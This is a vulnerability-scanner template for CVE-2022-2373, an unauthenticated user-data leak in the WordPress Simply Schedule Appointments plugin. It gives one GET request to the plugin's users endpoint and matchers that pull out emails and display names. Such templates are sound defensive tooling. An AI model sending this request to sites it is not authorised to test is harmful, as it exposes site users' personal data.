id: CVE-2022-2373

info:
  name: WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure
  author: theamanrawat,theabhinavgaur
  severity: medium
  description: |
    WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update to the latest version of the Simply Schedule Appointments plugin (1.5.7.7 or higher) to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6aa9aa0d-b447-4584-a07e-b8a0d1b83a31
    - https://wordpress.org/plugins/simply-schedule-appointments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2373
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2373
    cwe-id: CWE-862
    epss-score: 0.08392
    epss-percentile: 0.92422
    cpe: cpe:2.3:a:nsqua:simply_schedule_appointments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nsqua
    product: simply_schedule_appointments
    framework: wordpress
  tags: cve,cve2022,simply-schedule-appointments,unauth,wpscan,wordpress,wp-plugin,wp,nsqua,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ssa/v1/users"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: regex
        regex:
          - 'response_code":200'
          - '"email":"([a-zA-Z-_0-9@.]+)","display_name":"([a-zA-Z-_0-9@.]+)","gravatar_url":"http?:\\\/\\\/([a-z0-9A-Z.\\\/?=&@_-]+)"'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205f58d4d26c5b0b378a9f83d0d0bfeea8f72c1829aeb3c6041d0b6b333af2f30e0220443885e60eef5933f0e77d2c618defe18cb13bd52a86d857d545a7525f4136c2:922c64590222798bb761d5b6d8e72950